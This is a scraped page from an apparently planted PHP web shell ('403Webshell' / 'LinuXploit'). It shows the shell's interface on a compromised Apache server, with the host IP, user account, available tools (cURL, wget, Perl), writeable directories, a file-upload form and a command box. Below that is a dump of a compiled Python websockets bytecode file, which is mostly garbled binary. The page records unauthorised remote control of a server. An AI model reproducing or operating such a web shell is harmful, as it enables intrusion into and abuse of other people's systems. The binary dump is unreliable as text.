403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/websockets/legacy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/websockets/legacy/__pycache__/framing.cpython-311.pyc
�

�=Xc�����ddlmZddlZddlmZmZmZmZmZm	Z	m
Z
ddlmZm
Z
ddlmZmZ	ddlmZn#e$r	ddlmZYnwxYwGd�d	e��Zdd
l
mZmZmZdd�Zdd�ZdS)�)�annotationsN)�Any�	Awaitable�Callable�
NamedTuple�Optional�Sequence�Tuple�)�
extensions�frames)�
PayloadTooBig�
ProtocolError)�
apply_maskc��eZdZUded<ded<ded<dZded<dZded	<dZded
<ed d
���Zd!d�Z	d"d�Z
eddd�d#d���Zdd�d$d�Z
dS)%�Frame�bool�finz
frames.Opcode�opcode�bytes�dataF�rsv1�rsv2�rsv3�return�frames.Framec�p�tj|j|j|j|j|j|j��S�N)r
rrrrrrr��selfs �;/usr/lib/python3/dist-packages/websockets/legacy/framing.py�	new_framezFrame.new_frames4���|��K��I��H��I��I��I�

�
�	
��strc�*�t|j��Sr)r$r"rs r!�__str__z
Frame.__str__$s���4�>�"�"�"r#�Nonec�4�|j���Sr)r"�checkrs r!r)zFrame.check's���~�#�#�%�%�%r#N)�max_sizer�reader�!Callable[[int], Awaitable[bytes]]�maskr*�
Optional[int]r�(Optional[Sequence[extensions.Extension]]c���K�|d���d{V��}tjd|��\}}|dzrdnd}|dzrdnd}	|dzrdnd}
|d	zrdnd}	tj|d
z��}n"#t$r}
td��|
�d}
~
wwxYw|dzrdnd|krtd���|d
z}|dkr)|d���d{V��}tjd|��\}n.|d
kr(|d���d{V��}tjd|��\}|�||krt
d|�d|�d����|r|d���d{V��}||���d{V��}|rt||��}tj||||	|
|��}|�g}t|��D]}|�
||���}�|���||j|j
|j|j|j|j��S)a@
        Read a WebSocket frame.

        Args:
            reader: coroutine that reads exactly the requested number of
                bytes, unless the end of file is reached.
            mask: whether the frame should be masked i.e. whether the read
                happens on the server side.
            max_size: maximum payload size in bytes.
            extensions: list of extensions, applied in reverse order.

        Raises:
            PayloadTooBig: if the frame exceeds ``max_size``.
            ProtocolError: if the frame contains incorrect values.

        rNz!BB�TF�@� ��zinvalid opcodezincorrect masking��~z!H�z!Qzover size limit (z > z bytes)�)r*)�struct�unpackr
�Opcode�
ValueErrorrrrr�reversed�decoder)rrrrrr)�clsr+r-r*rr�head1�head2rrrrr�exc�length�	mask_bitsr"�	extensions                  r!�readz
Frame.read*s�����6�V�A�Y�Y���������}�U�D�1�1���u��j�(�3�d�d�e���z�)�4�t�t�u���z�)�4�t�t�u���z�)�4�t�t�u��	;��]�5�:�#5�6�6�F�F���	;�	;�	;�� 0�1�1�s�:�����	;�����J�&�1�D�D�E�d�:�:�� 3�4�4�4���#���S�=�=������?�?�?�?�?�?�D��
�d�D�1�1�I�V�V�
�s�]�]������?�?�?�?�?�?�D��
�d�D�1�1�I�V���F�X�$5�$5�� P�F� P� P�x� P� P� P�Q�Q�Q��	(�$�f�Q�i�i�������I��V�F�^�^�#�#�#�#�#�#���	/��d�I�.�.�D��L���s�D�$��E�E�	����J�!�*�-�-�	G�	G�I�!�(�(��X�(�F�F�I�I��������s��M����N��N��N��N�

�
�	
s�A)�)
B�3B�B)r�write�Callable[[bytes], Any]c�P�||j�||�����dS)a�
        Write a WebSocket frame.

        Args:
            frame: frame to write.
            write: function that writes bytes.
            mask: whether the frame should be masked i.e. whether the write
                happens on the client side.
            extensions: list of extensions, applied in order.

        Raises:
            ProtocolError: if the frame contains incorrect values.

        )r-rN)r"�	serialize)r rHr-rs    r!rHzFrame.writeys/��0	��d�n�&�&�D�Z�&�H�H�I�I�I�I�Ir#)rr)rr$)rr')
r+r,r-rr*r.rr/rr)rHrIr-rrr/rr')�__name__�
__module__�__qualname__�__annotations__rrr�propertyr"r&r)�classmethodrGrH�r#r!rrs�������
�I�I�I������K�K�K��D������D������D�����
�
�
�
��X�
�#�#�#�#�&�&�&�&��#'�?C�
L
�L
�L
�L
�L
��[�L
�f@D�J�J�J�J�J�J�J�Jr#r)�Close�prepare_ctrl�prepare_datarrr�Tuple[int, str]c�F�tj|��}|j|jfS)z�
    Parse the payload from a close frame.

    Returns:
        Tuple[int, str]: close code and reason.

    Raises:
        ProtocolError: if data is ill-formed.
        UnicodeDecodeError: if the reason isn't valid UTF-8.

    )rS�parse�code�reason)r�closes  r!�parse_closer\�s"��
�K����E��:�u�|�#�#r#rY�intrZr$c�F�t||�����S)z3
    Serialize the payload for a close frame.

    )rSrK)rYrZs  r!�serialize_closer_�s ��
��v���(�(�*�*�*r#)rrrrV)rYr]rZr$rr)�
__future__rr:�typingrrrrrr	r
�rr
�
exceptionsrr�speedupsr�ImportError�utilsrrSrT�encode_datarUr\r_rRr#r!�<module>rhsa��"�"�"�"�"�"�
�
�
�
�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�!�!�!�!�!�!�!�!�5�5�5�5�5�5�5�5�#�%�%�%�%�%�%�%���#�#�#�"�"�"�"�"�"�"�"�#����AJ�AJ�AJ�AJ�AJ�J�AJ�AJ�AJ�LF�E�E�E�E�E�E�E�E�E�
$�
$�
$�
$� +�+�+�+�+�+s�5�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit